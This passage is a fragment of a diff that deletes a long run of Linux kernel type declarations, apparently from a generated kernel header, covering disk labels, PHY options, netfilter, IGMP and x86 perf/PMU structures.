__le32 s_size; -}; - -struct solaris_x86_vtoc { - unsigned int v_bootinfo[3]; - __le32 v_sanity; - __le32 v_version; - char v_volume[8]; - __le16 v_sectorsz; - __le16 v_nparts; - unsigned int v_reserved[10]; - struct solaris_x86_slice v_slice[16]; - unsigned int timestamp[16]; - char v_asciilabel[128]; -}; - -struct bsd_partition { - __le32 p_size; - __le32 p_offset; - __le32 p_fsize; - __u8 p_fstype; - __u8 p_frag; - __le16 p_cpg; -}; - -struct bsd_disklabel { - __le32 d_magic; - __s16 d_type; - __s16 d_subtype; - char d_typename[16]; - char d_packname[16]; - __u32 d_secsize; - __u32 d_nsectors; - __u32 d_ntracks; - __u32 d_ncylinders; - __u32 d_secpercyl; - __u32 d_secperunit; - __u16 d_sparespertrack; - __u16 d_sparespercyl; - __u32 d_acylinders; - __u16 d_rpm; - __u16 d_interleave; - __u16 d_trackskew; - __u16 d_cylskew; - __u32 d_headswitch; - __u32 d_trkseek; - __u32 d_flags; - __u32 d_drivedata[5]; - __u32 d_spare[5]; - __le32 d_magic2; - __le16 d_checksum; - __le16 d_npartitions; - __le32 d_bbsize; - __le32 d_sbsize; - struct bsd_partition d_partitions[16]; -}; - -struct unixware_slice { - __le16 s_label; - __le16 s_flags; - __le32 start_sect; - __le32 nr_sects; -}; - -struct unixware_vtoc { - __le32 v_magic; - __le32 v_version; - char v_name[8]; - __le16 v_nslices; - __le16 v_unknown1; - __le32 v_reserved[10]; - struct unixware_slice v_slice[16]; -}; - -struct unixware_disklabel { - __le32 d_type; - __le32 d_magic; - __le32 d_version; - char d_serial[12]; - __le32 d_ncylinders; - __le32 d_ntracks; - __le32 d_nsectors; - __le32 d_secsize; - __le32 d_part_start; - __le32 d_unknown1[12]; - __le32 d_alt_tbl; - __le32 d_alt_len; - __le32 d_phys_cyl; - __le32 d_phys_trk; - __le32 d_phys_sec; - __le32 d_phys_bytes; - __le32 d_unknown2; - __le32 d_unknown3; - __le32 d_pad[8]; - struct unixware_vtoc vtoc; -}; - -struct sg_append_table { - struct sg_table sgt; - struct scatterlist *prv; - unsigned int total_nents; -}; - -typedef struct scatterlist *sg_alloc_fn(unsigned int, gfp_t); - -typedef void sg_free_fn(struct scatterlist *, unsigned int); - -struct sg_dma_page_iter { - struct sg_page_iter base; -}; - -enum asn1_method { - ASN1_PRIM = 0, - ASN1_CONS = 1, -}; - -typedef int (*asn1_action_t)(void *, size_t, unsigned char, const void *, size_t); - -struct asn1_decoder { - const unsigned char *machine; - size_t machlen; - const asn1_action_t *actions; -}; - -enum asn1_opcode { - ASN1_OP_MATCH = 0, - ASN1_OP_MATCH_OR_SKIP = 1, - ASN1_OP_MATCH_ACT = 2, - ASN1_OP_MATCH_ACT_OR_SKIP = 3, - ASN1_OP_MATCH_JUMP = 4, - ASN1_OP_MATCH_JUMP_OR_SKIP = 5, - ASN1_OP_MATCH_ANY = 8, - ASN1_OP_MATCH_ANY_OR_SKIP = 9, - ASN1_OP_MATCH_ANY_ACT = 10, - ASN1_OP_MATCH_ANY_ACT_OR_SKIP = 11, - ASN1_OP_COND_MATCH_OR_SKIP = 17, - ASN1_OP_COND_MATCH_ACT_OR_SKIP = 19, - ASN1_OP_COND_MATCH_JUMP_OR_SKIP = 21, - ASN1_OP_COND_MATCH_ANY = 24, - ASN1_OP_COND_MATCH_ANY_OR_SKIP = 25, - ASN1_OP_COND_MATCH_ANY_ACT = 26, - ASN1_OP_COND_MATCH_ANY_ACT_OR_SKIP = 27, - ASN1_OP_COND_FAIL = 28, - ASN1_OP_COMPLETE = 29, - ASN1_OP_ACT = 30, - ASN1_OP_MAYBE_ACT = 31, - ASN1_OP_END_SEQ = 32, - ASN1_OP_END_SET = 33, - ASN1_OP_END_SEQ_OF = 34, - ASN1_OP_END_SET_OF = 35, - ASN1_OP_END_SEQ_ACT = 36, - ASN1_OP_END_SET_ACT = 37, - ASN1_OP_END_SEQ_OF_ACT = 38, - ASN1_OP_END_SET_OF_ACT = 39, - ASN1_OP_RETURN = 40, - ASN1_OP__NR = 41, -}; - -struct regulator; - -struct phy_configure_opts_dp { - unsigned int link_rate; - unsigned int lanes; - unsigned int voltage[4]; - unsigned int pre[4]; - u8 ssc: 1; - u8 set_rate: 1; - u8 set_lanes: 1; - u8 set_voltages: 1; -}; - -struct phy_configure_opts_lvds { - unsigned int bits_per_lane_and_dclk_cycle; - long unsigned int differential_clk_rate; - unsigned int lanes; - bool is_slave; -}; - -struct phy_configure_opts_mipi_dphy { - unsigned int clk_miss; - unsigned int clk_post; - unsigned int clk_pre; - unsigned int clk_prepare; - unsigned int clk_settle; - unsigned int clk_term_en; - unsigned int clk_trail; - unsigned int clk_zero; - unsigned int d_term_en; - unsigned int eot; - unsigned int hs_exit; - unsigned int hs_prepare; - unsigned int hs_settle; - unsigned int hs_skip; - unsigned int hs_trail; - unsigned int hs_zero; - unsigned int init; - unsigned int lpx; - unsigned int ta_get; - unsigned int ta_go; - unsigned int ta_sure; - unsigned int wakeup; - long unsigned int hs_clk_rate; - long unsigned int lp_clk_rate; - unsigned char lanes; -}; - -enum phy_mode { - PHY_MODE_INVALID = 0, - PHY_MODE_USB_HOST = 1, - PHY_MODE_USB_HOST_LS = 2, - PHY_MODE_USB_HOST_FS = 3, - PHY_MODE_USB_HOST_HS = 4, - PHY_MODE_USB_HOST_SS = 5, - PHY_MODE_USB_DEVICE = 6, - PHY_MODE_USB_DEVICE_LS = 7, - PHY_MODE_USB_DEVICE_FS = 8, - PHY_MODE_USB_DEVICE_HS = 9, - PHY_MODE_USB_DEVICE_SS = 10, - PHY_MODE_USB_OTG = 11, - PHY_MODE_UFS_HS_A = 12, - PHY_MODE_UFS_HS_B = 13, - PHY_MODE_PCIE = 14, - PHY_MODE_ETHERNET = 15, - PHY_MODE_MIPI_DPHY = 16, - PHY_MODE_SATA = 17, - PHY_MODE_LVDS = 18, - PHY_MODE_DP = 19, -}; - -enum phy_media { - PHY_MEDIA_DEFAULT = 0, - PHY_MEDIA_SR = 1, - PHY_MEDIA_DAC = 2, -}; - -union phy_configure_opts { - struct phy_configure_opts_mipi_dphy mipi_dphy; - struct phy_configure_opts_dp dp; - struct phy_configure_opts_lvds lvds; -}; - -struct phy; - -struct phy_ops { - int (*init)(struct phy *); - int (*exit)(struct phy *); - int (*power_on)(struct phy *); - int (*power_off)(struct phy *); - int (*set_mode)(struct phy *, enum phy_mode, int); - int (*set_media)(struct phy *, enum phy_media); - int (*set_speed)(struct phy *, int); - int (*configure)(struct phy *, union phy_configure_opts *); - int (*validate)(struct phy *, enum phy_mode, int, union phy_configure_opts *); - int (*reset)(struct phy *); - int (*calibrate)(struct phy *); - void (*release)(struct phy *); - struct module *owner; -}; - -struct phy_attrs { - u32 bus_width; - u32 max_link_rate; - enum phy_mode mode; -}; - -struct phy { - struct device dev; - int id; - const struct phy_ops *ops; - struct mutex mutex; - int init_count; - int power_count; - struct phy_attrs attrs; - struct regulator *pwr; -}; - -struct phy_provider { - struct device *dev; - struct device_node *children; - struct module *owner; - struct list_head list; - struct phy * (*of_xlate)(struct device *, struct of_phandle_args *); -}; - -struct phy_lookup { - struct list_head node; - const char *dev_id; - const char *con_id; - struct phy *phy; -}; - -typedef acpi_status (*acpi_walk_resource_callback)(struct acpi_resource *, void *); - -enum acpi_bridge_type { - ACPI_BRIDGE_TYPE_PCIE = 1, - ACPI_BRIDGE_TYPE_CXL = 2, -}; - -struct acpi_pci_root { - struct acpi_device *device; - struct pci_bus *bus; - u16 segment; - int bridge_type; - struct resource secondary; - u32 osc_support_set; - u32 osc_control_set; - u32 osc_ext_support_set; - u32 osc_ext_control_set; - phys_addr_t mcfg_addr; -}; - -struct acpi_pci_root_ops; - -struct acpi_pci_root_info { - struct acpi_pci_root *root; - struct acpi_device *bridge; - struct acpi_pci_root_ops *ops; - struct list_head resources; - char name[16]; -}; - -struct acpi_pci_root_ops { - struct pci_ops *pci_ops; - int (*init_info)(struct acpi_pci_root_info *); - void (*release_info)(struct acpi_pci_root_info *); - int (*prepare_resources)(struct acpi_pci_root_info *); -}; - -struct pci_osc_bit_struct { - u32 bit; - char *desc; -}; - -struct trace_event_raw_devres { - struct trace_entry ent; - u32 __data_loc_devname; - struct device *dev; - const char *op; - void *node; - const char *name; - size_t size; - char __data[0]; -}; - -struct trace_event_data_offsets_devres { - u32 devname; -}; - -typedef void (*btf_trace_devres_log)(void *, struct device *, const char *, void *, const char *, size_t); - -enum power_supply_notifier_events { - PSY_EVENT_PROP_CHANGED = 0, -}; - -struct power_supply_config { - struct device_node *of_node; - struct fwnode_handle *fwnode; - void *drv_data; - const struct attribute_group **attr_grp; - char **supplied_to; - size_t num_supplicants; -}; - -struct power_supply_battery_ocv_table { - int ocv; - int capacity; -}; - -struct power_supply_resistance_temp_table { - int temp; - int resistance; -}; - -struct power_supply_vbat_ri_table { - int vbat_uv; - int ri_uohm; -}; - -struct power_supply_maintenance_charge_table { - int charge_current_max_ua; - int charge_voltage_max_uv; - int charge_safety_timer_minutes; -}; - -struct power_supply_battery_info { - unsigned int technology; - int energy_full_design_uwh; - int charge_full_design_uah; - int voltage_min_design_uv; - int voltage_max_design_uv; - int tricklecharge_current_ua; - int precharge_current_ua; - int precharge_voltage_max_uv; - int charge_term_current_ua; - int charge_restart_voltage_uv; - int overvoltage_limit_uv; - int constant_charge_current_max_ua; - int constant_charge_voltage_max_uv; - struct power_supply_maintenance_charge_table *maintenance_charge; - int maintenance_charge_size; - int alert_low_temp_charge_current_ua; - int alert_low_temp_charge_voltage_uv; - int alert_high_temp_charge_current_ua; - int alert_high_temp_charge_voltage_uv; - int factory_internal_resistance_uohm; - int factory_internal_resistance_charging_uohm; - int ocv_temp[20]; - int temp_ambient_alert_min; - int temp_ambient_alert_max; - int temp_alert_min; - int temp_alert_max; - int temp_min; - int temp_max; - struct power_supply_battery_ocv_table *ocv_table[20]; - int ocv_table_size[20]; - struct power_supply_resistance_temp_table *resist_table; - int resist_table_size; - struct power_supply_vbat_ri_table *vbat2ri_discharging; - int vbat2ri_discharging_size; - struct power_supply_vbat_ri_table *vbat2ri_charging; - int vbat2ri_charging_size; - int bti_resistance_ohm; - int bti_resistance_tolerance; -}; - -struct psy_am_i_supplied_data { - struct power_supply *psy; - unsigned int count; -}; - -struct psy_get_supplier_prop_data { - struct power_supply *psy; - enum power_supply_property psp; - union power_supply_propval *val; -}; - -struct tc_skb_ext { - __u32 chain; - __u16 mru; - __u16 zone; - u8 post_ct: 1; - u8 post_ct_snat: 1; - u8 post_ct_dnat: 1; -}; - -enum { - SKB_FCLONE_UNAVAILABLE = 0, - SKB_FCLONE_ORIG = 1, - SKB_FCLONE_CLONE = 2, -}; - -enum gro_result { - GRO_MERGED = 0, - GRO_MERGED_FREE = 1, - GRO_HELD = 2, - GRO_NORMAL = 3, - GRO_CONSUMED = 4, -}; - -typedef enum gro_result gro_result_t; - -struct packet_offload { - __be16 type; - u16 priority; - struct offload_callbacks callbacks; - struct list_head list; -}; - -enum nfnetlink_groups { - NFNLGRP_NONE = 0, - NFNLGRP_CONNTRACK_NEW = 1, - NFNLGRP_CONNTRACK_UPDATE = 2, - NFNLGRP_CONNTRACK_DESTROY = 3, - NFNLGRP_CONNTRACK_EXP_NEW = 4, - NFNLGRP_CONNTRACK_EXP_UPDATE = 5, - NFNLGRP_CONNTRACK_EXP_DESTROY = 6, - NFNLGRP_NFTABLES = 7, - NFNLGRP_ACCT_QUOTA = 8, - NFNLGRP_NFTRACE = 9, - __NFNLGRP_MAX = 10, -}; - -struct nfgenmsg { - __u8 nfgen_family; - __u8 version; - __be16 res_id; -}; - -enum nfnl_batch_attributes { - NFNL_BATCH_UNSPEC = 0, - NFNL_BATCH_GENID = 1, - __NFNL_BATCH_MAX = 2, -}; - -struct nfnl_info { - struct net *net; - struct sock *sk; - const struct nlmsghdr *nlh; - const struct nfgenmsg *nfmsg; - struct netlink_ext_ack *extack; -}; - -enum nfnl_callback_type { - NFNL_CB_UNSPEC = 0, - NFNL_CB_MUTEX = 1, - NFNL_CB_RCU = 2, - NFNL_CB_BATCH = 3, -}; - -struct nfnl_callback { - int (*call)(struct sk_buff *, const struct nfnl_info *, const struct nlattr * const *); - const struct nla_policy *policy; - enum nfnl_callback_type type; - __u16 attr_count; -}; - -enum nfnl_abort_action { - NFNL_ABORT_NONE = 0, - NFNL_ABORT_AUTOLOAD = 1, - NFNL_ABORT_VALIDATE = 2, -}; - -struct nfnetlink_subsystem { - const char *name; - __u8 subsys_id; - __u8 cb_count; - const struct nfnl_callback *cb; - struct module *owner; - int (*commit)(struct net *, struct sk_buff *); - int (*abort)(struct net *, struct sk_buff *, enum nfnl_abort_action); - void (*cleanup)(struct net *); - bool (*valid_genid)(struct net *, u32); -}; - -struct nfnl_net { - struct sock *nfnl; -}; - -struct nfnl_err { - struct list_head head; - struct nlmsghdr *nlh; - int err; - struct netlink_ext_ack extack; -}; - -enum { - NFNL_BATCH_FAILURE = 1, - NFNL_BATCH_DONE = 2, - NFNL_BATCH_REPLAY = 4, -}; - -struct ip_mreqn { - struct in_addr imr_multiaddr; - struct in_addr imr_address; - int imr_ifindex; -}; - -struct ip_mreq_source { - __be32 imr_multiaddr; - __be32 imr_interface; - __be32 imr_sourceaddr; -}; - -struct ip_msfilter { - __be32 imsf_multiaddr; - __be32 imsf_interface; - __u32 imsf_fmode; - __u32 imsf_numsrc; - union { - __be32 imsf_slist[1]; - struct { - struct {} __empty_imsf_slist_flex; - __be32 imsf_slist_flex[0]; - }; - }; -}; - -struct igmphdr { - __u8 type; - __u8 code; - __sum16 csum; - __be32 group; -}; - -struct igmpv3_grec { - __u8 grec_type; - __u8 grec_auxwords; - __be16 grec_nsrcs; - __be32 grec_mca; - __be32 grec_src[0]; -}; - -struct igmpv3_report { - __u8 type; - __u8 resv1; - __sum16 csum; - __be16 resv2; - __be16 ngrec; - struct igmpv3_grec grec[0]; -}; - -struct igmpv3_query { - __u8 type; - __u8 code; - __sum16 csum; - __be32 group; - __u8 qrv: 3; - __u8 suppress: 1; - __u8 resv: 4; - __u8 qqic; - __be16 nsrcs; - __be32 srcs[0]; -}; - -struct ip_sf_socklist { - unsigned int sl_max; - unsigned int sl_count; - struct callback_head rcu; - __be32 sl_addr[0]; -}; - -struct ip_mc_socklist { - struct ip_mc_socklist *next_rcu; - struct ip_mreqn multi; - unsigned int sfmode; - struct ip_sf_socklist *sflist; - struct callback_head rcu; -}; - -struct igmp_mc_iter_state { - struct seq_net_private p; - struct net_device *dev; - struct in_device *in_dev; -}; - -struct igmp_mcf_iter_state { - struct seq_net_private p; - struct net_device *dev; - struct in_device *idev; - struct ip_mc_list *im; -}; - -enum vlan_ioctl_cmds { - ADD_VLAN_CMD = 0, - DEL_VLAN_CMD = 1, - SET_VLAN_INGRESS_PRIORITY_CMD = 2, - SET_VLAN_EGRESS_PRIORITY_CMD = 3, - GET_VLAN_INGRESS_PRIORITY_CMD = 4, - GET_VLAN_EGRESS_PRIORITY_CMD = 5, - SET_VLAN_NAME_TYPE_CMD = 6, - SET_VLAN_FLAG_CMD = 7, - GET_VLAN_REALDEV_NAME_CMD = 8, - GET_VLAN_VID_CMD = 9, -}; - -enum vlan_flags { - VLAN_FLAG_REORDER_HDR = 1, - VLAN_FLAG_GVRP = 2, - VLAN_FLAG_LOOSE_BINDING = 4, - VLAN_FLAG_MVRP = 8, - VLAN_FLAG_BRIDGE_BINDING = 16, -}; - -struct vlan_ioctl_args { - int cmd; - char device1[24]; - union { - char device2[24]; - int VID; - unsigned int skb_priority; - unsigned int name_type; - unsigned int bind_type; - unsigned int flag; - } u; - short int vlan_qos; -}; - -enum perf_type_id { - PERF_TYPE_HARDWARE = 0, - PERF_TYPE_SOFTWARE = 1, - PERF_TYPE_TRACEPOINT = 2, - PERF_TYPE_HW_CACHE = 3, - PERF_TYPE_RAW = 4, - PERF_TYPE_BREAKPOINT = 5, - PERF_TYPE_MAX = 6, -}; - -enum perf_hw_id { - PERF_COUNT_HW_CPU_CYCLES = 0, - PERF_COUNT_HW_INSTRUCTIONS = 1, - PERF_COUNT_HW_CACHE_REFERENCES = 2, - PERF_COUNT_HW_CACHE_MISSES = 3, - PERF_COUNT_HW_BRANCH_INSTRUCTIONS = 4, - PERF_COUNT_HW_BRANCH_MISSES = 5, - PERF_COUNT_HW_BUS_CYCLES = 6, - PERF_COUNT_HW_STALLED_CYCLES_FRONTEND = 7, - PERF_COUNT_HW_STALLED_CYCLES_BACKEND = 8, - PERF_COUNT_HW_REF_CPU_CYCLES = 9, - PERF_COUNT_HW_MAX = 10, -}; - -enum perf_hw_cache_id { - PERF_COUNT_HW_CACHE_L1D = 0, - PERF_COUNT_HW_CACHE_L1I = 1, - PERF_COUNT_HW_CACHE_LL = 2, - PERF_COUNT_HW_CACHE_DTLB = 3, - PERF_COUNT_HW_CACHE_ITLB = 4, - PERF_COUNT_HW_CACHE_BPU = 5, - PERF_COUNT_HW_CACHE_NODE = 6, - PERF_COUNT_HW_CACHE_MAX = 7, -}; - -enum perf_hw_cache_op_id { - PERF_COUNT_HW_CACHE_OP_READ = 0, - PERF_COUNT_HW_CACHE_OP_WRITE = 1, - PERF_COUNT_HW_CACHE_OP_PREFETCH = 2, - PERF_COUNT_HW_CACHE_OP_MAX = 3, -}; - -enum perf_hw_cache_op_result_id { - PERF_COUNT_HW_CACHE_RESULT_ACCESS = 0, - PERF_COUNT_HW_CACHE_RESULT_MISS = 1, - PERF_COUNT_HW_CACHE_RESULT_MAX = 2, -}; - -enum perf_event_sample_format { - PERF_SAMPLE_IP = 1, - PERF_SAMPLE_TID = 2, - PERF_SAMPLE_TIME = 4, - PERF_SAMPLE_ADDR = 8, - PERF_SAMPLE_READ = 16, - PERF_SAMPLE_CALLCHAIN = 32, - PERF_SAMPLE_ID = 64, - PERF_SAMPLE_CPU = 128, - PERF_SAMPLE_PERIOD = 256, - PERF_SAMPLE_STREAM_ID = 512, - PERF_SAMPLE_RAW = 1024, - PERF_SAMPLE_BRANCH_STACK = 2048, - PERF_SAMPLE_REGS_USER = 4096, - PERF_SAMPLE_STACK_USER = 8192, - PERF_SAMPLE_WEIGHT = 16384, - PERF_SAMPLE_DATA_SRC = 32768, - PERF_SAMPLE_IDENTIFIER = 65536, - PERF_SAMPLE_TRANSACTION = 131072, - PERF_SAMPLE_REGS_INTR = 262144, - PERF_SAMPLE_PHYS_ADDR = 524288, - PERF_SAMPLE_AUX = 1048576, - PERF_SAMPLE_CGROUP = 2097152, - PERF_SAMPLE_DATA_PAGE_SIZE = 4194304, - PERF_SAMPLE_CODE_PAGE_SIZE = 8388608, - PERF_SAMPLE_WEIGHT_STRUCT = 16777216, - PERF_SAMPLE_MAX = 33554432, -}; - -enum perf_branch_sample_type { - PERF_SAMPLE_BRANCH_USER = 1, - PERF_SAMPLE_BRANCH_KERNEL = 2, - PERF_SAMPLE_BRANCH_HV = 4, - PERF_SAMPLE_BRANCH_ANY = 8, - PERF_SAMPLE_BRANCH_ANY_CALL = 16, - PERF_SAMPLE_BRANCH_ANY_RETURN = 32, - PERF_SAMPLE_BRANCH_IND_CALL = 64, - PERF_SAMPLE_BRANCH_ABORT_TX = 128, - PERF_SAMPLE_BRANCH_IN_TX = 256, - PERF_SAMPLE_BRANCH_NO_TX = 512, - PERF_SAMPLE_BRANCH_COND = 1024, - PERF_SAMPLE_BRANCH_CALL_STACK = 2048, - PERF_SAMPLE_BRANCH_IND_JUMP = 4096, - PERF_SAMPLE_BRANCH_CALL = 8192, - PERF_SAMPLE_BRANCH_NO_FLAGS = 16384, - PERF_SAMPLE_BRANCH_NO_CYCLES = 32768, - PERF_SAMPLE_BRANCH_TYPE_SAVE = 65536, - PERF_SAMPLE_BRANCH_HW_INDEX = 131072, - PERF_SAMPLE_BRANCH_PRIV_SAVE = 262144, - PERF_SAMPLE_BRANCH_MAX = 524288, -}; - -struct x86_pmu_capability { - int version; - int num_counters_gp; - int num_counters_fixed; - int bit_width_gp; - int bit_width_fixed; - unsigned int events_mask; - int events_mask_len; - unsigned int pebs_ept: 1; -}; - -struct stack_frame { - struct stack_frame *next_frame; - long unsigned int return_address; -}; - -struct perf_guest_switch_msr { - unsigned int msr; - u64 host; - u64 guest; -}; - -enum perf_event_x86_regs { - PERF_REG_X86_AX = 0, - PERF_REG_X86_BX = 1, - PERF_REG_X86_CX = 2, - PERF_REG_X86_DX = 3, - PERF_REG_X86_SI = 4, - PERF_REG_X86_DI = 5, - PERF_REG_X86_BP = 6, - PERF_REG_X86_SP = 7, - PERF_REG_X86_IP = 8, - PERF_REG_X86_FLAGS = 9, - PERF_REG_X86_CS = 10, - PERF_REG_X86_SS = 11, - PERF_REG_X86_DS = 12, - PERF_REG_X86_ES = 13, - PERF_REG_X86_FS = 14, - PERF_REG_X86_GS = 15, - PERF_REG_X86_R8 = 16, - PERF_REG_X86_R9 = 17, - PERF_REG_X86_R10 = 18, - PERF_REG_X86_R11 = 19, - PERF_REG_X86_R12 = 20, - PERF_REG_X86_R13 = 21, - PERF_REG_X86_R14 = 22, - PERF_REG_X86_R15 = 23, - PERF_REG_X86_32_MAX = 16, - PERF_REG_X86_64_MAX = 24, - PERF_REG_X86_XMM0 = 32, - PERF_REG_X86_XMM1 = 34, - PERF_REG_X86_XMM2 = 36, - PERF_REG_X86_XMM3 = 38, - PERF_REG_X86_XMM4 = 40, - PERF_REG_X86_XMM5 = 42, - PERF_REG_X86_XMM6 = 44, - PERF_REG_X86_XMM7 = 46, - PERF_REG_X86_XMM8 = 48, - PERF_REG_X86_XMM9 = 50, - PERF_REG_X86_XMM10 = 52, - PERF_REG_X86_XMM11 = 54, - PERF_REG_X86_XMM12 = 56, - PERF_REG_X86_XMM13 = 58, - PERF_REG_X86_XMM14 = 60, - PERF_REG_X86_XMM15 = 62, - PERF_REG_X86_XMM_MAX = 64, -}; - -struct perf_callchain_entry_ctx { - struct perf_callchain_entry *entry; - u32 max_stack; - u32 nr; - short int contexts; - bool contexts_maxed; -}; - -struct perf_pmu_events_attr { - struct device_attribute attr; - u64 id; - const char *event_str; -}; - -struct perf_pmu_events_ht_attr { - struct device_attribute attr; - u64 id; - const char *event_str_ht; - const char *event_str_noht; -}; - -struct perf_pmu_events_hybrid_attr { - struct device_attribute attr; - u64 id; - const char *event_str; - u64 pmu_type; -}; - -struct cyc2ns_data { - u32 cyc2ns_mul; - u32 cyc2ns_shift; - u64 cyc2ns_offset; -}; - -enum extra_reg_type { - EXTRA_REG_NONE = -1, - EXTRA_REG_RSP_0 = 0, - EXTRA_REG_RSP_1 = 1, - EXTRA_REG_LBR = 2, - EXTRA_REG_LDLAT = 3, - EXTRA_REG_FE = 4, - EXTRA_REG_MAX = 5, -}; - -struct event_constraint { - union { - long unsigned int idxmsk[1]; - u64 idxmsk64; - }; - u64 code; - u64 cmask; - int weight; - int overlap; - int flags; - unsigned int size; -}; - -enum { - PERF_X86_EVENT_PEBS_LDLAT = 1, - PERF_X86_EVENT_PEBS_ST = 2, - PERF_X86_EVENT_PEBS_ST_HSW = 4, - PERF_X86_EVENT_PEBS_LD_HSW = 8, - PERF_X86_EVENT_PEBS_NA_HSW = 16, - PERF_X86_EVENT_EXCL = 32, - PERF_X86_EVENT_DYNAMIC = 64, - PERF_X86_EVENT_EXCL_ACCT = 256, - PERF_X86_EVENT_AUTO_RELOAD = 512, - PERF_X86_EVENT_LARGE_PEBS = 1024, - PERF_X86_EVENT_PEBS_VIA_PT = 2048, - PERF_X86_EVENT_PAIR = 4096, - PERF_X86_EVENT_LBR_SELECT = 8192, - PERF_X86_EVENT_TOPDOWN = 16384, - PERF_X86_EVENT_PEBS_STLAT = 32768, - PERF_X86_EVENT_AMD_BRS = 65536, - PERF_X86_EVENT_PEBS_LAT_HYBRID = 131072, -}; - -struct amd_nb { - int nb_id; - int refcnt; - struct perf_event *owners[64]; - struct event_constraint event_constraints[64]; -}; - -struct er_account { - raw_spinlock_t lock; - u64 config; - u64 reg; - atomic_t ref; -}; - -struct intel_shared_regs { - struct er_account regs[5]; - int refcnt; - unsigned int core_id; -}; - -enum intel_excl_state_type { - INTEL_EXCL_UNUSED = 0, - INTEL_EXCL_SHARED = 1, - INTEL_EXCL_EXCLUSIVE = 2, -}; - -struct intel_excl_states { - enum intel_excl_state_type state[64]; - bool sched_started; -}; - -struct intel_excl_cntrs { - raw_spinlock_t lock; - struct intel_excl_states states[2]; - union { - u16 has_exclusive[2]; - u32 exclusive_present; - }; - int refcnt; - unsigned int core_id; -}; - -enum { - X86_PERF_KFREE_SHARED = 0, - X86_PERF_KFREE_EXCL = 1, - X86_PERF_KFREE_MAX = 2, -}; - -struct cpu_hw_events { - struct perf_event *events[64]; - long unsigned int active_mask[1]; - long unsigned int dirty[1]; - int enabled; - int n_events; - int n_added; - int n_txn; - int n_txn_pair; - int n_txn_metric; - int assign[64]; - u64 tags[64]; - struct perf_event *event_list[64]; - struct event_constraint *event_constraint[64]; - int n_excl; - unsigned int txn_flags; - int is_fake; - struct debug_store *ds; - void *ds_pebs_vaddr; - void *ds_bts_vaddr; - u64 pebs_enabled; - int n_pebs; - int n_large_pebs; - int n_pebs_via_pt; - int pebs_output; - u64 pebs_data_cfg; - u64 active_pebs_data_cfg; - int pebs_record_size; - u64 fixed_ctrl_val; - u64 active_fixed_ctrl_val; - int lbr_users; - int lbr_pebs_users; - struct perf_branch_stack lbr_stack; - struct perf_branch_entry lbr_entries[32]; - union { - struct er_account *lbr_sel; - struct er_account *lbr_ctl; - }; - u64 br_sel; - void *last_task_ctx; - int last_log_id; - int lbr_select; - void *lbr_xsave; - u64 intel_ctrl_guest_mask; - u64 intel_ctrl_host_mask; - struct perf_guest_switch_msr guest_switch_msrs[64]; - u64 intel_cp_status; - struct intel_shared_regs *shared_regs; - struct event_constraint *constraint_list; - struct intel_excl_cntrs *excl_cntrs; - int excl_thread_id; - u64 tfa_shadow; - int n_metric; - struct amd_nb *amd_nb; - int brs_active; - u64 perf_ctr_virt_mask; - int n_pair; - void *kfree_on_online[2]; - struct pmu *pmu; -}; - -struct extra_reg { - unsigned int event; - unsigned int msr; - u64 config_mask; - u64 valid_mask; - int idx; - bool extra_msr_access; -}; - -union perf_capabilities { - struct { - u64 lbr_format: 6; - u64 pebs_trap: 1; - u64 pebs_arch_reg: 1; - u64 pebs_format: 4; - u64 smm_freeze: 1; - u64 full_width_write: 1; - u64 pebs_baseline: 1; - u64 perf_metrics: 1; - u64 pebs_output_pt_available: 1; - u64 anythread_deprecated: 1; - }; - u64 capabilities; -}; - -struct x86_pmu_quirk { - struct x86_pmu_quirk *next; - void (*func)(); -}; - -enum { - x86_lbr_exclusive_lbr = 0, - x86_lbr_exclusive_bts = 1, - x86_lbr_exclusive_pt = 2, - x86_lbr_exclusive_max = 3, -}; - -struct x86_hybrid_pmu { - struct pmu pmu; - const char *name; - u8 cpu_type; - cpumask_t supported_cpus; - union perf_capabilities intel_cap; - u64 intel_ctrl; - int max_pebs_events; - int num_counters; - int num_counters_fixed; - struct event_constraint unconstrained; - u64 hw_cache_event_ids[42]; - u64 hw_cache_extra_regs[42]; - struct event_constraint *event_constraints; - struct event_constraint *pebs_constraints; - struct extra_reg *extra_regs; - unsigned int late_ack: 1; - unsigned int mid_ack: 1; - unsigned int enabled_ack: 1; - u64 pebs_data_source[16]; -}; - -enum hybrid_pmu_type { - hybrid_big = 64, - hybrid_small = 32, - hybrid_big_small = 96, -}; - -struct x86_pmu { - const char *name; - int version; - int (*handle_irq)(struct pt_regs *); - void (*disable_all)(); - void (*enable_all)(int); - void (*enable)(struct perf_event *); - void (*disable)(struct perf_event *); - void (*assign)(struct perf_event *, int); - void (*add)(struct perf_event *); - void (*del)(struct perf_event *); - void (*read)(struct perf_event *); - int (*set_period)(struct perf_event *); - u64 (*update)(struct perf_event *); - int (*hw_config)(struct perf_event *); - int (*schedule_events)(struct cpu_hw_events *, int, int *); - unsigned int eventsel; - unsigned int perfctr; - int (*addr_offset)(int, bool); - int (*rdpmc_index)(int); - u64 (*event_map)(int); - int max_events; - int num_counters; - int num_counters_fixed; - int cntval_bits; - u64 cntval_mask; - union { - long unsigned int events_maskl; - long unsigned int events_mask[1]; - }; - int events_mask_len; - int apic; - u64 max_period; - struct event_constraint * (*get_event_constraints)(struct cpu_hw_events *, int, struct perf_event *); - void (*put_event_constraints)(struct cpu_hw_events *, struct perf_event *); - void (*start_scheduling)(struct cpu_hw_events *); - void (*commit_scheduling)(struct cpu_hw_events *, int, int); - void (*stop_scheduling)(struct cpu_hw_events *); - struct event_constraint *event_constraints; - struct x86_pmu_quirk *quirks; - void (*limit_period)(struct perf_event *, s64 *); - unsigned int late_ack: 1; - unsigned int mid_ack: 1; - unsigned int enabled_ack: 1; - int attr_rdpmc_broken; - int attr_rdpmc; - struct attribute **format_attrs; - ssize_t (*events_sysfs_show)(char *, u64); - const struct attribute_group **attr_update; - long unsigned int attr_freeze_on_smi; - int (*cpu_prepare)(int); - void (*cpu_starting)(int); - void (*cpu_dying)(int); - void (*cpu_dead)(int); - void (*check_microcode)(); - void (*sched_task)(struct perf_event_context *, bool); - u64 intel_ctrl; - union perf_capabilities intel_cap; - unsigned int bts: 1; - unsigned int bts_active: 1; - unsigned int pebs: 1; - unsigned int pebs_active: 1; - unsigned int pebs_broken: 1; - unsigned int pebs_prec_dist: 1; - unsigned int pebs_no_tlb: 1; - unsigned int pebs_no_isolation: 1; - unsigned int pebs_block: 1; - unsigned int pebs_ept: 1; - int pebs_record_size; - int pebs_buffer_size; - int max_pebs_events; - void (*drain_pebs)(struct pt_regs *, struct perf_sample_data *); - struct event_constraint *pebs_constraints; - void (*pebs_aliases)(struct perf_event *); - u64 (*pebs_latency_data)(struct perf_event *, u64); - long 